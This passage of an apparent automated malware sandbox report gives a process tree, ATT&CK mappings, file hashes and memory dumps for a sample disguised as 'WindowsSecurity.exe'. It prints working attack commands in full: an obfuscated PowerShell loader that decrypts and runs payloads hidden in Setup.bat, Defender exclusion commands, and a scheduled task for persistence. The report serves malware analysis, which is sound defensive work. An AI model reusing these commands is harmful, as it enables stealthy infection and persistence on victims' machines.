57,0,7,0x80,0xc3),0,$QJTNbEzCoNZSqQpUn,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lkvEdLTtSsziDGWnK,$eZXGvzNswEUyBXriWoKMqT).Invoke($QJTNbEzCoNZSqQpUn,[uint32]8,0x20,[ref]$ECVYgoVdUz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+'s'+[Char](116)+''+'a'+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4988
- C:\Users\Admin\AppData\Local\WindowsSecurity.exe
  C:\Users\Admin\AppData\Local\WindowsSecurity.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1456
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2056

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2540

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2628

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2496

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Setup.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3984
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3924
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:3740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6Qr7qHDKJjMpmgIjSPfD44cTPtNyBSLGu8hDw8CfoaU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g7PbVoDhe/kTO9wMHyLfTA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lnXbU=New-Object System.IO.MemoryStream(,$param_var); $serAy=New-Object System.IO.MemoryStream; $mBSQd=New-Object System.IO.Compression.GZipStream($lnXbU, [IO.Compression.CompressionMode]::Decompress); $mBSQd.CopyTo($serAy); $mBSQd.Dispose(); $lnXbU.Dispose(); $serAy.Dispose(); $serAy.ToArray();}function execute_function($param_var,$param2_var){ $DMigp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vmAAk=$DMigp.EntryPoint; $vmAAk.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Setup.bat';$sKPoD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Setup.bat').Split([Environment]::NewLine);foreach ($cbgZM in $sKPoD) { if ($cbgZM.StartsWith(':: ')) { $HzSkD=$cbgZM.Substring(3); break; }}$payloads_var=[string[]]$HzSkD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\Users\Admin\AppData\Local\Temp\Install.exe
      "C:\Users\Admin\AppData\Local\Temp\Install.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5104
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2656
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\WindowsSecurity.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3640
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsSecurity.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5008
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2848
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsSecurity" /tr "C:\Users\Admin\AppData\Local\WindowsSecurity.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2156
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3488

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3948

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4020

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4028

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1224

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1312

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2660

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:900

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2168

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2640

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks processor information in registry
PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4fc204cd72f2c3f6149d487b16ea4a83

SHA1
ac5f7fae2c1ac704ad559069589844a89c0b7410

SHA256
dc706e6f21d6e4b670e36f3ed9772fef5f47d30af28f587f14ccd2f6348d14d8

SHA512
d6e90367ab4efcc2364ac7ad18763ba79b3f5ac638cefd1ec651bee9e9b6d3753b24e41bf774ce400024f1befd3b33e33fc89f0ec836e8e8256a39719a303ac4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
05b3cd21c1ec02f04caba773186ee8d0

SHA1
39e790bfe10abf55b74dfb3603df8fcf6b5e6edb

SHA256
911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8

SHA512
e751008b032394817beb46937fd93a73be97254c2be94dd42f22fb1306d2715c653ece16fa96eab1a3e73811936768cea6b37888437086fc6f3e3e793a2515eb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d16cb7038fb7c439b3942af46488e057

SHA1
264796cacf168ee8e0876ba768ae84b26c5f8cd8

SHA256
4c322a99e7222270eb1948071be327096f3f0c33bb57978536209a1f4d145106

SHA512
1a61315d4e73d9a0c58cfd2687346e92762c1579ab5a19f5a2adeda31ca72f5c152cb8ef47f7b75cd0d9ea9ef52a18c0311c769372f32a30367ac0afc14fce90

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
dbed6207e0d3208bd0ee26b6c99307e3

SHA1
facbc3806e7596b021efd6a475cd407058223703

SHA256
631632aac60e6815fb18144cce66425db89b75c1e9d2c4af46d9d5148b6f5f72

SHA512
a0fbe5b0d32f20ffe23aebf00b77d41159ed7c01b2302efa6e6a0cc61e4c008538f44d2cf8c7ab6c062317d1c5762eebedf0d9a06a7fdde112d231f0a27fff8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe

Filesize
163KB

MD5
1a7d1b5d24ba30c4d3d5502295ab5e89

SHA1
2d5e69cf335605ba0a61f0bbecbea6fc06a42563

SHA256
b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

SHA512
859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yh2bybau.dur.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk

Filesize
1004B

MD5
249404f682b6109c962ecc6beba93c4d

SHA1
c55558f847796b7a09497f1170d6a8c6ad3d6429

SHA256
e32a173ca05c8e52bba83de2e941243fc33cb06614f77289c82e72923edbc530

SHA512
bfcaf7641ed449a7bf63e818565eaad3a8e1d71c7cbb6b8c5419c88dbf4fc36b11cdc15e21446b4d5f19c040b92bd0760b9edc18036a111378e2ab14308dbf0a

Download Submit
memory/420-95-0x0000023B94C90000-0x0000023B94CBB000-memory.dmp

Filesize
172KB

Download
memory/464-91-0x00007FF9CBAB0000-0x00007FF9CBAC0000-memory.dmp

Filesize
64KB

Download
memory/464-90-0x0000027F70CB0000-0x0000027F70CDB000-memory.dmp

Filesize
172KB

Download
memory/464-84-0x0000027F70CB0000-0x0000027F70CDB000-memory.dmp

Filesize
172KB

Download
memory/624-49-0x000002DE59470000-0x000002DE59495000-memory.dmp

Filesize
148KB

Download
memory/624-58-0x00007FF9CBAB0000-0x00007FF9CBAC0000-memory.dmp

Filesize
64KB

Download
memory/624-57-0x000002DE594A0000-0x000002DE594CB000-memory.dmp

Filesize
172KB

Download
memory/624-51-0x000002DE594A0000-0x000002DE594CB000-memory.dmp

Filesize
172KB

Download
memory/624-50-0x000002DE594A0000-0x000002DE594CB000-memory.dmp

Filesize
172KB

Download
memory/692-69-0x00007FF9CBAB0000-0x00007FF9CBAC0000-memory.dmp

Filesize
64KB

Download
memory/692-68-0x0000022FE0700000-0x0000022FE072B000-memory.dmp

Filesize
172KB

Download
memory/692-62-0x0000022FE0700000-0x0000022FE072B000-memory.dmp

Filesize
172KB

Download
memory/760-930-0x00007FF9EA6C3000-0x00007FF9EA6C5000-memory.dmp

Filesize
8KB

Download
memory/760-973-0x00007FF9EA6C0000-0x00007FF9EB182000-memory.dmp

Filesize
10.8MB

Download
memory/760-974-0x00007FF9EA6C0000-0x00007FF9EB182000-memory.dmp

Filesize
10.8MB

Download
memory/760-0-0x00007FF9EA6C3000-0x00007FF9EA6C5000-memory.dmp

Filesize
8KB

Download
memory/760-1032-0x0000027C74DA0000-0x0000027C74DAC000-memory.dmp

Filesize
48KB

Download
memory/760-17-0x0000027C74520000-0x0000027C74538000-memory.dmp

Filesize
96KB

Download
memory/760-14-0x0000027C743B0000-0x0000027C74412000-memory.dmp

Filesize
392KB

Download
memory/760-13-0x0000027C74300000-0x0000027C74308000-memory.dmp

Filesize
32KB

Download
memory/760-12-0x00007FF9EA6C0000-0x00007FF9EB182000-memory.dmp

Filesize
10.8MB

Download
memory/760-11-0x00007FF9EA6C0000-0x00007FF9EB182000-memory.dmp

Filesize
10.8MB

Download
memory/760-10-0x00007FF9EA6C0000-0x00007FF9EB182000-memory.dmp

Filesize
10.8MB

Download
memory/760-9-0x0000027C74320000-0x0000027C74342000-memory.dmp

Filesize
136KB

Download
memory/1000-80-0x00007FF9CBAB0000-0x00007FF9CBAC0000-memory.dmp

Filesize
64KB

Download
memory/1000-79-0x00000179D6790000-0x00000179D67BB000-memory.dmp

Filesize
172KB

Download
memory/1000-73-0x00000179D6790000-0x00000179D67BB000-memory.dmp

Filesize
172KB

Download
memory/1976-36-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1976-45-0x00007FFA0B6E0000-0x00007FFA0B79D000-memory.dmp

Filesize
756KB

Download
memory/1976-44-0x00007FFA0BA20000-0x00007FFA0BC29000-memory.dmp

Filesize
2.0MB

Download
memory/1976-46-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1976-37-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1976-41-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1976-38-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1976-39-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2360-1017-0x000001C673840000-0x000001C673886000-memory.dmp

Filesize
280KB

Download
memory/4988-35-0x00007FFA0B6E0000-0x00007FFA0B79D000-memory.dmp

Filesize
756KB

Download
memory/4988-34-0x00007FFA0BA20000-0x00007FFA0BC29000-memory.dmp

Filesize
2.0MB

Download
memory/4988-33-0x000002ADEE060000-0x000002ADEE08A000-memory.dmp

Filesize
168KB

Download